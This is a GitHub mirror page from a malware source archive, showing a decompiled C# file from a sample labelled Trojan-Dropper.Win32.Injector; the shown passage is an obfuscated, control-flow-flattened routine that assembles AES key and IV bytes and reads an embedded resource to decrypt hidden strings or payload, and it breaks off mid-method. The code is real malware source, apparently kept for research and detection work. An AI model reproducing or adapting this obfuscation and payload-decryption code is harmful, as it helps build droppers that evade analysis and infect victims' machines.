ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-23 03:46:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
f2ac1ece55
MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.famp-6427595611179d5d5dac279b1a45e8419adb3bb7a48e56b0dc2408b6a417bbb5/K6lba8gkqFKwGTxlJE/ipbpJ7ihfEneDowwMq.cs

2317 lines
66 KiB
C#
Raw Normal View History

auto-decompiled msil via petikvx add
2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: K6lba8gkqFKwGTxlJE.ipbpJ7ihfEneDowwMq
// Assembly: winlogon, Version=6.1.7601.17514, Culture=neutral, PublicKeyToken=null
// MVID: AC059A05-C181-4518-A4B8-9A5E8B3420DD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.famp-6427595611179d5d5dac279b1a45e8419adb3bb7a48e56b0dc2408b6a417bbb5.exe
using qpa0K4UP35oevQjLvS;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace K6lba8gkqFKwGTxlJE
{
internal class ipbpJ7ihfEneDowwMq
{
private static byte[] LT6B8GTWy;
private static IntPtr oWeJ7vWM4;
private static int NiL55l3Z2;
private static bool oA5hKDAOD;
internal static ipbpJ7ihfEneDowwMq.CufCTcNaeJCMHYwqJb k46HAZwFlB;
private static long wAVHU0nsTV;
internal static Hashtable H5uHCkedEX;
private static int OL0Hlq15dX;
private static byte[] YDwWw1vZ2;
private static int hKjMnx0dH;
private static long RkazkhIoY;
private static object pbSQFSfou;
private static byte[] MhfgoJaqo = new byte[0];
private static IntPtr EVF0nHd64;
private static bool nrgHSMxrKu;
internal static ipbpJ7ihfEneDowwMq.CufCTcNaeJCMHYwqJb QSrHHp6Vhg;
private static byte[] YYydr09Mx;
private static int J6kHeWKAjB;
private static SortedList fAOm8s4UA;
private static IntPtr SfsHkoeDkE;
private static int[] qRiVMivkd;
[MethodImpl(MethodImplOptions.NoInlining)]
static ipbpJ7ihfEneDowwMq()
{
ipbpJ7ihfEneDowwMq.YDwWw1vZ2 = new byte[0];
ipbpJ7ihfEneDowwMq.LT6B8GTWy = new byte[0];
ipbpJ7ihfEneDowwMq.YYydr09Mx = new byte[0];
ipbpJ7ihfEneDowwMq.oWeJ7vWM4 = IntPtr.Zero;
ipbpJ7ihfEneDowwMq.EVF0nHd64 = IntPtr.Zero;
ipbpJ7ihfEneDowwMq.pbSQFSfou = (object) new string[0];
ipbpJ7ihfEneDowwMq.qRiVMivkd = new int[0];
ipbpJ7ihfEneDowwMq.NiL55l3Z2 = 1;
ipbpJ7ihfEneDowwMq.oA5hKDAOD = false;
ipbpJ7ihfEneDowwMq.fAOm8s4UA = new SortedList();
ipbpJ7ihfEneDowwMq.hKjMnx0dH = 0;
ipbpJ7ihfEneDowwMq.RkazkhIoY = 0L;
ipbpJ7ihfEneDowwMq.k46HAZwFlB = (ipbpJ7ihfEneDowwMq.CufCTcNaeJCMHYwqJb) null;
ipbpJ7ihfEneDowwMq.QSrHHp6Vhg = (ipbpJ7ihfEneDowwMq.CufCTcNaeJCMHYwqJb) null;
ipbpJ7ihfEneDowwMq.wAVHU0nsTV = 0L;
ipbpJ7ihfEneDowwMq.OL0Hlq15dX = 0;
ipbpJ7ihfEneDowwMq.nrgHSMxrKu = false;
ipbpJ7ihfEneDowwMq.J6kHeWKAjB = 0;
ipbpJ7ihfEneDowwMq.SfsHkoeDkE = IntPtr.Zero;
ipbpJ7ihfEneDowwMq.H5uHCkedEX = new Hashtable();
}
[MethodImpl(MethodImplOptions.NoInlining)]
private void R7tZdUAofxTxH()
{
}
[ipbpJ7ihfEneDowwMq.JwYEnSc81hR3TvfVIJ(typeof (ipbpJ7ihfEneDowwMq\u002FJwYEnSc81hR3TvfVIJ\u002FicKkQjnI65gbY41SDo<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
static string YHW3lrBiD([In] int obj0)
{
int num1 = 129;
int num2;
while (true)
{
byte[] numArray1;
int num3;
byte[] numArray2;
int num4;
int num5;
RijndaelManaged rijndaelManaged;
int num6;
int num7;
byte[] numArray3;
byte[] numArray4;
byte[] numArray5;
BinaryReader binaryReader;
CryptoStream cryptoStream;
byte[] numArray6;
MemoryStream memoryStream;
ICryptoTransform transform;
int num8;
switch (num1)
{
case 0:
numArray2[7] = (byte) (226 - 75);
num5 = 42;
goto label_285;
case 1:
numArray2[16] = (byte) num4;
num5 = 22;
goto label_285;
case 2:
num7 = 140 - 46;
num8 = 85;
break;
case 3:
numArray1[13] = (byte) num7;
num5 = 66;
goto label_285;
case 4:
numArray2[10] = (byte) (164 - 54);
num5 = 296;
if (true)
goto label_285;
else
goto case 197;
case 5:
numArray2[19] = (byte) num4;
num1 = 341;
continue;
case 6:
numArray2[19] = (byte) num4;
num1 = 306;
continue;
case 7:
numArray4[13] = numArray5[6];
num5 = 262;
if (true)
goto label_285;
else
goto case 118;
case 8:
numArray2[9] = (byte) num4;
num5 = 93;
if (true)
goto label_285;
else
goto case 107;
case 9:
num4 = 24 + 100;
num5 = 168;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 356;
else
goto label_285;
case 10:
num6 = 146 + 29;
num8 = 20;
break;
case 11:
num7 = 0 + 101;
num1 = 265;
continue;
case 12:
numArray2[3] = (byte) num6;
num8 = 47;
break;
case 13:
numArray1[14] = (byte) num3;
num5 = 256;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 249;
case 14:
numArray2[9] = (byte) (46 + 71);
num5 = 177;
goto label_285;
case 15:
numArray2[16] = (byte) (38 + 72);
num1 = 135;
continue;
case 16:
// ISSUE: type reference
binaryReader = new BinaryReader((Stream) ipbpJ7ihfEneDowwMq.goAOYvZXL8wyukgyhQ((object) ipbpJ7ihfEneDowwMq.gRaxCfNbl5AQe5DMfO(__typeref (ipbpJ7ihfEneDowwMq)).Assembly, (object) "7v5JjQg7hMWZRZ6RI8.DLsj2WsufAScc2vJ3k"));
num5 = 40;
goto label_285;
case 17:
numArray1[14] = (byte) (163 - 54);
num1 = 120;
continue;
case 18:
numArray1[5] = (byte) (79 + 78);
num8 = 163;
break;
case 19:
numArray2[29] = (byte) num4;
num5 = 119;
if (true)
goto label_285;
else
goto case 317;
case 20:
numArray2[23] = (byte) num6;
num1 = 61;
continue;
case 21:
num7 = 58 + 87;
num5 = 181;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 252;
case 22:
num4 = 144 + 0;
num8 = 59;
break;
case 23:
num4 = 35 + 84;
num5 = 134;
if (true)
goto label_285;
else
goto case 81;
case 24:
num7 = 148 - 110;
num1 = 281;
continue;
case 25:
numArray1[12] = (byte) (216 - 72);
num5 = 288;
goto label_285;
case 26:
num2 = ipbpJ7ihfEneDowwMq.UqCD6r9d9Kmjenv2O1((object) ipbpJ7ihfEneDowwMq.LT6B8GTWy, obj0);
num1 = 357;
continue;
case 27:
numArray3 = numArray2;
num1 = 29;
continue;
case 28:
numArray2[7] = (byte) (54 + 30);
num1 = 0;
continue;
case 29:
numArray1 = new byte[16];
num5 = 297;
if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto case 85;
else
goto label_285;
case 30:
numArray1[7] = (byte) (79 - 46);
num1 = 303;
continue;
case 31:
numArray4[7] = numArray5[3];
num5 = 132;
goto label_285;
case 32:
num4 = 52 + 6;
num8 = 194;
break;
case 33:
numArray2[6] = (byte) num4;
num8 = 67;
break;
case 34:
numArray1[5] = (byte) (196 - 65);
num5 = 346;
goto label_285;
case 35:
numArray2[11] = (byte) num4;
num8 = 48;
break;
case 36:
num4 = 221 - 73;
num5 = 190;
if (true)
goto label_285;
else
goto case 169;
case 37:
num4 = 136 - 45;
num1 = 215;
continue;
case 38:
num6 = 134 - 44;
num5 = 105;
if (true)
goto label_285;
else
goto case 160;
case 39:
numArray1[11] = (byte) num3;
num1 = 289;
continue;
case 40:
ipbpJ7ihfEneDowwMq.SKWIx9qaW1C58pM1Pu(ipbpJ7ihfEneDowwMq.LlojKQVnfNSQ01Je0j((object) binaryReader), 0L);
num8 = 319;
break;
case 41:
numArray2[11] = (byte) num4;
num5 = 81;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 289;
else
goto label_285;
case 42:
numArray2[7] = (byte) (59 + 96);
num5 = 38;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 355;
case 43:
num6 = 4 + 93;
num8 = 165;
break;
case 44:
numArray2[22] = (byte) num6;
num8 = 287;
break;
case 45:
num6 = 217 - 72;
num5 = 320;
goto label_285;
case 46:
if (numArray5 != null)
{
num5 = 157;
goto label_285;
}
else
goto case (int) sbyte.MaxValue;
case 47:
numArray2[3] = (byte) (115 + 35);
num8 = 189;
break;
case 48:
numArray2[11] = (byte) (177 - 59);
num8 = 179;
break;
case 49:
num6 = 56 + 64;
num5 = 207;
if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto case 108;
else
goto label_285;
case 50:
memoryStream = new MemoryStream();
num5 = 348;
if (true)
goto label_285;
else
goto case 183;
case 51:
numArray1[1] = (byte) (204 - 68);
num8 = 11;
break;
case 52:
num6 = 224 - 74;
num8 = 280;
break;
case 53:
num4 = 72 + 72;
num8 = 90;
break;
case 54:
num4 = 80 + 22;
num5 = 293;
goto label_285;
case 55:
numArray1[7] = (byte) (217 - 72);
num8 = 88;
break;
case 56:
num7 = 56 + 64;
num1 = 126;
continue;
case 57:
numArray2[21] = (byte) num6;
num1 = 329;
continue;
case 58:
numArray2[21] = (byte) num6;
num8 = 169;
break;
case 59:
numArray2[16] = (byte) num4;
num5 = 52;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 149;
else
goto label_285;
case 60:
num7 = 103 + 31;
num1 = 327;
continue;
case 61:
numArray2[24] = (byte) ((int) sbyte.MaxValue - 42);
num8 = 111;
break;
case 62:
numArray2[30] = (byte) num4;
num5 = 244;
goto label_285;
case 63:
num6 = 72 + 96;
num5 = 339;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 308;
else
goto label_285;
case 64:
num6 = 107 + 8;
num8 = ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi() ? 222 : 323;
break;
case 65:
numArray2[9] = (byte) num4;
num1 = 54;
continue;
case 66:
num3 = 21 + 79;
num1 = 167;
continue;
case 67:
num4 = 104 + 100;
num8 = 185;
break;
case 68:
numArray2[1] = (byte) num4;
num8 = 196;
break;
case 69:
numArray2[1] = (byte) (101 + 71);
num8 = 278;
break;
case 70:
num7 = 2 + 116;
num5 = 188;
if (true)
goto label_285;
else
goto case 223;
case 71:
numArray2[13] = (byte) (39 + 87);
num8 = 23;
break;
case 72:
numArray2[5] = (byte) num4;
num8 = 149;
break;
case 73:
numArray1[11] = (byte) (171 + 6);
num5 = 314;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 55;
case 74:
num6 = 128 - 75;
num5 = 91;
if (true)
goto label_285;
else
goto case 123;
case 75:
num4 = 165 - 55;
num5 = 117;
goto label_285;
case 76:
num3 = 35 + 84;
num5 = 39;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 194;
else
goto label_285;
case 77:
num4 = 76 + 11;
num8 = 225;
break;
case 78:
num6 = 167 + 8;
num5 = 226;
if (true)
goto label_285;
else
goto case 304;
case 79:
numArray2[2] = (byte) num6;
num1 = 152;
continue;
case 80:
numArray2[14] = (byte) num6;
num5 = 239;
if (true)
goto label_285;
else
goto case 12;
case 81:
num4 = 181 - 60;
num5 = 35;
if (true)
goto label_285;
else
goto case 25;
case 82:
numArray2[16] = (byte) (54 + 117);
num8 = 15;
break;
case 83:
numArray2[8] = (byte) (44 + 22);
num5 = 192;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 11;
case 84:
num7 = 178 - 59;
num1 = 113;
continue;
case 85:
numArray1[7] = (byte) num7;
num5 = 30;
if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto case 57;
else
goto label_285;
case 86:
numArray2[17] = (byte) (18 + 57);
num5 = 272;
if (true)
goto label_285;
else
goto case 93;
case 87:
num7 = 95 + 7;
num1 = 211;
continue;
case 88:
num3 = 209 - 69;
goto case 222;
case 89:
num4 = 134 - 44;
num5 = 68;
if (true)
goto label_285;
else
goto case 95;
case 90:
numArray2[20] = (byte) num4;
num8 = 128;
break;
case 91:
numArray2[6] = (byte) num6;
num5 = 206;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 276;
else
goto label_285;
case 92:
numArray2[24] = (byte) (132 - 78);
num5 = 110;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 129;
case 93:
num4 = 76 + 88;
num8 = 65;
break;
case 94:
numArray2[21] = (byte) (37 + 44);
num1 = 63;
continue;
case 95:
num6 = 105 + 123;
num8 = 166;
break;
case 96:
numArray2[10] = (byte) num4;
num8 = 312;
break;
case 97:
numArray2[26] = (byte) (189 - 63);
num8 = 354;
break;
case 98:
numArray2[26] = (byte) (237 - 79);
num8 = 97;
break;
case 99:
numArray1[10] = (byte) (53 + 1);
num1 = 283;
continue;
case 100:
num3 = 91 + 114;
num5 = 338;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 35;
case 101:
numArray2[7] = (byte) num4;
num5 = 28;
goto label_285;
case 102:
numArray2[27] = (byte) (141 - 47);
num1 = 182;
continue;
case 103:
ipbpJ7ihfEneDowwMq.TCk8nx5K0V5hBA635R((object) memoryStream);
num1 = 171;
continue;
case 104:
numArray1[3] = (byte) (118 + 87);
num8 = 150;
break;
case 105:
numArray2[8] = (byte) num6;
num1 = 83;
continue;
case 106:
numArray2[18] = (byte) (111 + 89);
num5 = 325;
goto label_285;
case 107:
numArray1[6] = (byte) num7;
num8 = 84;
break;
case 108:
num7 = 241 - 80;
num1 = 300;
continue;
case 109:
numArray2[12] = (byte) (144 + 40);
num5 = 71;
if (true)
goto label_285;
else
goto case 310;
case 110:
numArray2[25] = (byte) (92 + 117);
num5 = 285;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 233;
else
goto label_285;
case 111:
numArray2[24] = (byte) (204 - 68);
num8 = 273;
break;
case 112:
num7 = 207 - 69;
num5 = 310;
goto label_285;
case 113:
numArray1[6] = (byte) num7;
num5 = 138;
if (true)
goto label_285;
else
goto case 167;
case 114:
numArray1[9] = (byte) (189 - 63);
num5 = 317;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 133;
case 115:
numArray2[2] = (byte) (100 + 115);
num5 = 268;
goto label_285;
case 116:
numArray2[2] = (byte) num6;
num1 = 234;
continue;
case 117:
numArray2[15] = (byte) num4;
num5 = 291;
goto label_285;
case 118:
num7 = 86 + 44;
num5 = 107;
if (true)
goto label_285;
else
goto case 164;
case 119:
numArray2[29] = (byte) (212 - 70);
num5 = (int) byte.MaxValue;
goto label_285;
case 120:
numArray1[14] = (byte) (180 - 59);
num8 = 60;
break;
case 121:
numArray4[1] = numArray5[0];
num8 = 304;
break;
case 122:
numArray1[8] = (byte) num7;
num1 = 334;
continue;
case 123:
numArray2[29] = (byte) (132 - 44);
num1 = 307;
continue;
case 124:
num6 = 38 - 14;
num5 = 44;
goto label_285;
case 125:
num7 = 199 - 66;
num5 = 3;
goto label_285;
case 126:
numArray1[0] = (byte) num7;
num5 = 191;
goto label_285;
case (int) sbyte.MaxValue:
rijndaelManaged = new RijndaelManaged();
num5 = 173;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 250;
case 128:
numArray2[20] = (byte) (27 + 36);
num8 = 277;
break;
case 129:
if (ipbpJ7ihfEneDowwMq.LT6B8GTWy.Length == 0)
{
num1 = 16;
continue;
}
goto case 26;
case 130:
numArray2[18] = (byte) num6;
num1 = 313;
continue;
case 131:
numArray1[12] = (byte) (123 + 47);
num1 = 25;
continue;
case 132:
numArray4[9] = numArray5[4];
num8 = 158;
break;
case 133:
num3 = 102 + 54;
num5 = 13;
goto label_285;
case 134:
numArray2[13] = (byte) num4;
num5 = 37;
goto label_285;
case 135:
num6 = 59 + 42;
num5 = 213;
goto label_285;
case 136:
numArray1[10] = (byte) num7;
num5 = 100;
goto label_285;
case 137:
numArray2[31] = (byte) (176 - 58);
num1 = 32;
continue;
case 138:
numArray1[6] = (byte) (177 - 88);
num5 = 108;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 319;
case 139:
numArray1[14] = (byte) num7;
num8 = 70;
break;
case 140:
transform = (ICryptoTransform) ipbpJ7ihfEneDowwMq.CEmlJVCjpTH21l1ajg((object) rijndaelManaged, (object) numArray3, (object) numArray4);
num5 = 50;
if (true)
goto label_285;
else
goto case 141;
case 141:
numArray2[27] = (byte) (41 + 19);
num5 = 95;
goto label_285;
case 142:
numArray2[3] = (byte) num4;
num1 = 275;
continue;
case 143:
num4 = 11 + 19;
num5 = 62;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 224;
else
goto label_285;
case 144:
num3 = 206 - 68;
num5 = 247;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 343;
case 145:
case 323:
numArray2[21] = (byte) num6;
num5 = 324;
if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto case 0;
else
goto label_285;
case 146:
// ISSUE: type reference
numArray5 = (byte[]) ipbpJ7ihfEneDowwMq.HR5XCyB17Hq3My9rlK(ipbpJ7ihfEneDowwMq.EPNYDWvF335ihAr7rN((object) ipbpJ7ihfEneDowwMq.gRaxCfNbl5AQe5DMfO(__typeref (ipbpJ7ihfEneDowwMq)).Assembly));
num1 = 46;
continue;
case 147:
num4 = 149 - 49;
num5 = 187;
if (true)
goto label_285;
else
goto case 9;
case 148:
numArray1[14] = (byte) num3;
num8 = 17;
break;
case 149:
numArray2[5] = (byte) (143 - 47);
num5 = 238;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 256;
case 150:
numArray1[3] = (byte) (138 - 46);
num5 = 201;
if (true)
goto label_285;
else
goto case 144;
case 151:
numArray1[8] = (byte) (39 + 9);
num1 = 164;
continue;
case 152:
numArray2[2] = (byte) (38 + 76);
num5 = 233;
if (true)
goto label_285;
else
goto case 131;
case 153:
num4 = 108 + 13;
num5 = 197;
goto label_285;
case 154:
numArray1[5] = (byte) (230 - 76);
num8 = 34;
break;
case 155:
numArray1[11] = (byte) num3;
num8 = 73;
break;
case 156:
numArray1[3] = (byte) num7;
num5 = 230;
goto label_285;
case 157:
if (numArray5.Length > 0)
{
num1 = 121;
continue;
}
goto case (int) sbyte.MaxValue;
case 158:
numArray4[11] = numArray5[5];
num1 = 7;
continue;
case 159:
num4 = 128 + 62;
num5 = 178;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 143;
case 160:
num6 = 112 + 114;
num8 = 290;
break;
case 161:
num6 = 63 + 83;
num5 = 254;
if (true)
goto label_285;
else
goto case 215;
case 162:
numArray2[4] = (byte) (62 + 30);
num8 = 267;
break;
case 163:
num7 = 192 + 30;
num8 = 328;
break;
case 164:
numArray1[8] = (byte) (83 + 22);
num8 = 318;
break;
case 165:
numArray2[27] = (byte) num6;
num5 = 147;
if (true)
goto label_285;
else
goto case 322;
case 166:
numArray2[27] = (byte) num6;
num8 = 43;
break;
case 167:
numArray1[13] = (byte) num3;
num5 = 200;
goto label_285;
case 168:
numArray2[20] = (byte) num4;
num8 = 53;
break;
case 169:
numArray2[22] = (byte) (82 + 120);
num5 = 355;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 181;
case 170:
num6 = 59 - 54;
num1 = 299;
continue;
case 171:
ipbpJ7ihfEneDowwMq.TCk8nx5K0V5hBA635R((object) cryptoStream);
num1 = 286;
continue;
case 172:
numArray2[30] = (byte) num4;
num5 = 252;
if (true)
goto label_285;
else
goto case 251;
case 173:
ipbpJ7ihfEneDowwMq.GognAflfqlgqlBeRPd((object) rijndaelManaged, CipherMode.CBC);
num1 = 140;
continue;
case 174:
num4 = 22 + 56;
num5 = 96;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 7;
else
goto label_285;
case 175:
numArray2[9] = (byte) num6;
num1 = 232;
continue;
case 176:
num3 = 161 - 53;
num5 = 208;
goto label_285;
case 177:
num6 = 120 + 39;
num5 = 175;
goto label_285;
case 178:
numArray2[14] = (byte) num4;
num1 = 248;
continue;
case 179:
numArray2[11] = (byte) (57 + 109);
num8 = 257;
break;
case 180:
numArray2[14] = (byte) num4;
num5 = 236;
goto label_285;
case 181:
numArray1[0] = (byte) num7;
num8 = 198;
break;
case 182:
num6 = 157 + 31;
num1 = 219;
continue;
case 183:
numArray1[2] = (byte) (2 + 21);
num1 = 202;
continue;
case 184:
numArray2[19] = (byte) num4;
num1 = 224;
continue;
case 185:
numArray2[6] = (byte) num4;
num5 = 74;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 196;
case 186:
numArray1[6] = (byte) (129 - 43);
num5 = 118;
goto label_285;
case 187:
numArray2[27] = (byte) num4;
num5 = 102;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case (int) sbyte.MaxValue;
case 188:
numArray1[14] = (byte) num7;
num1 = 133;
continue;
case 189:
numArray2[3] = (byte) (2 + 21);
num5 = 301;
if (true)
goto label_285;
else
goto case 87;
case 190:
numArray2[20] = (byte) num4;
num1 = 9;
continue;
case 191:
numArray1[0] = (byte) (156 - 52);
num1 = 253;
continue;
case 192:
numArray2[8] = (byte) (171 + 51);
num5 = 223;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 334;
case 193:
numArray2[15] = (byte) (182 - 60);
num1 = 203;
continue;
case 194:
numArray2[31] = (byte) num4;
num1 = 227;
continue;
case 195:
ipbpJ7ihfEneDowwMq.XrJs8qbf0HSo6NC9rB((object) cryptoStream, (object) numArray6, 0, numArray6.Length);
num5 = 243;
goto label_285;
case 196:
numArray2[1] = (byte) (162 - 95);
num8 = 115;
break;
case 197:
numArray2[26] = (byte) num4;
num5 = 98;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 19;
case 198:
numArray1[1] = (byte) (223 - 74);
num8 = 228;
break;
case 199:
numArray4[5] = numArray5[2];
num8 = 31;
break;
case 200:
numArray1[13] = (byte) (179 - 55);
num5 = 258;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 314;
case 201:
num7 = 129 + 62;
num5 = 156;
if (true)
goto label_285;
else
goto case 114;
case 202:
numArray1[2] = (byte) (102 + 74);
num1 = 104;
continue;
case 203:
numArray2[15] = (byte) (168 - 56);
num8 = 212;
break;
case 204:
numArray1[11] = (byte) (166 - 55);
num5 = 352;
if (true)
goto label_285;
else
goto case 88;
case 205:
num4 = 157 - 52;
num8 = 1;
break;
case 206:
num4 = 24 + 79;
num8 = 101;
break;
case 207:
numArray2[0] = (byte) num6;
num5 = 263;
if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto case 50;
else
goto label_285;
case 208:
numArray1[2] = (byte) num3;
num5 = 183;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 253;
case 209:
numArray2 = new byte[32];
num5 = 77;
if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto case 96;
else
goto label_285;
case 210:
num6 = 239 - 79;
num1 = 116;
continue;
case 211:
numArray1[1] = (byte) num7;
num1 = 51;
continue;
case 212:
num6 = 179 + 2;
num5 = 276;
if (true)
goto label_285;
else
goto case 241;
case 213:
numArray2[16] = (byte) num6;
num8 = 205;
break;
case 214:
numArray2[24] = (byte) (172 - 57);
num1 = 92;
continue;
case 215:
numArray2[13] = (byte) num4;
num8 = 78;
break;
case 216:
num4 = 174 - 58;
num8 = 33;
break;
case 217:
numArray1[13] = (byte) (198 - 66);
num8 = 125;
break;
case 218:
numArray1[2] = (byte) (103 + 29);
num5 = 176;
if (true)
goto label_285;
else
goto case 44;
case 219:
numArray2[27] = (byte) num6;
num5 = 342;
if (true)
goto label_285;
else
goto case 151;
case 220:
num4 = 91 + 45;
num1 = 72;
continue;
case 221:
num7 = 143 - 47;
num8 = 261;
break;
case 222:
case 271:
numArray1[7] = (byte) num3;
num8 = 2;
break;
case 223:
num4 = 155 - 51;
num5 = 8;
if (true)
goto label_285;
else
goto case 337;
case 224:
numArray2[19] = (byte) (51 + 81);
num5 = 315;
if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto case 30;
else
goto label_285;
case 225:
numArray2[0] = (byte) num4;
num1 = 49;
continue;
case 226:
numArray2[13] = (byte) num6;
num5 = 240;
goto label_285;
case 227:
numArray2[31] = (byte) (65 + 69);
num5 = 170;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 49;
case 228:
numArray1[1] = (byte) (100 + 115);
num5 = 87;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 208;
case 229:
numArray2[23] = (byte) (89 + 85);
num5 = 10;
if (true)
goto label_285;
else
goto case 300;
case 230:
numArray1[4] = (byte) (164 - 54);
num5 = 344;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 246;
else
goto label_285;
case 231:
numArray1[9] = (byte) (243 - 81);
num1 = 114;
continue;
case 232:
num6 = 95 + 67;
num5 = 308;
if (true)
goto label_285;
else
goto case 24;
case 233:
numArray2[2] = (byte) (0 + 101);
num5 = 210;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 150;
case 234:
numArray2[2] = (byte) (30 + 119);
num8 = 295;
break;
case 235:
numArray2[5] = (byte) num6;
num5 = 216;
goto label_285;
case 236:
numArray2[14] = (byte) (77 + 88);
num5 = 159;
if (true)
goto label_285;
else
goto case 296;
case 237:
numArray1[4] = (byte) (91 + 45);
num5 = 221;
goto label_285;
case 238:
num6 = 169 - 55;
num1 = 235;
continue;
case 239:
num4 = 252 - 84;
num8 = 180;
break;
case 240:
num6 = 235 - 78;
num5 = 80;
goto label_285;
case 241:
numArray1[9] = (byte) num3;
num5 = 266;
if (true)
goto label_285;
else
goto case 30;
case 242:
num6 = 22 + 121;
num8 = 130;
break;
case 243:
ipbpJ7ihfEneDowwMq.kT2w7oSkjFmtlwVDfA((object) cryptoStream);
num8 = 316;
break;
case 244:
numArray2[30] = (byte) (114 + 39);
num5 = 345;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 189;
case 245:
numArray2[30] = (byte) (24 + 50);
num1 = 246;
continue;
case 246:
numArray2[30] = (byte) (96 + 42);
num1 = 302;
continue;
case 247:
numArray1[13] = (byte) num3;
num1 = 217;
continue;
case 248:
numArray2[15] = (byte) (230 - 76);
num5 = 75;
if (!ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto case 227;
else
goto label_285;
case 249:
numArray1[15] = (byte) num7;
num1 = 264;
continue;
case 250:
numArray2[4] = (byte) (131 + 107);
num5 = 220;
goto label_285;
case 251:
numArray2[23] = (byte) num4;
num5 = 229;
if (ipbpJ7ihfEneDowwMq.aCAHLdrJZCrPs9IteT())
goto label_285;
else
goto case 60;
case 252:
numArray2[31] = (byte) (62 + 120);
num5 = 137;
goto label_285;
case 253:
numArray1[0] = (byte) (198 - 66);
num8 = 112;
break;
case 254:
numArray2[28] = (byte) num6;
num5 = 340;
if (!ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto label_285;
else
goto case 205;
case (int) byte.MaxValue:
numArray2[29] = (byte) (201 - 67);
num1 = 45;
continue;
case 256:
num3 = 64 + 38;
num1 = 148;
continue;
case 257:
numArray2[12] = (byte) (23 + 29);
num1 = 279;
continue;
case 258:
num7 = 42 + 13;
num1 = 139;
continue;
case 259:
numArray1[10] = (byte) num7;
num8 = 204;
break;
case 260:
numArray2[22] = (byte) num4;
num8 = 124;
break;
case 261:
numArray1[4] = (byte) num7;
num5 = 332;
goto label_285;
case 262:
numArray4[15] = numArray5[7];
num5 = (int) sbyte.MaxValue;
if (true)
goto label_285;
else
goto case 41;
case 263:
numArray2[0] = (byte) (120 + 105);
num1 = 69;
continue;
case 264:
numArray4 = numArray1;
num5 = 146;
if (ipbpJ7ihfEneDowwMq.uj96LEfUUtmyfr1Cqi())
goto case 6;
else
goto label_285;
case 265:
numArray1[1] = (byte) num7;
num5 = 24;
if (true)
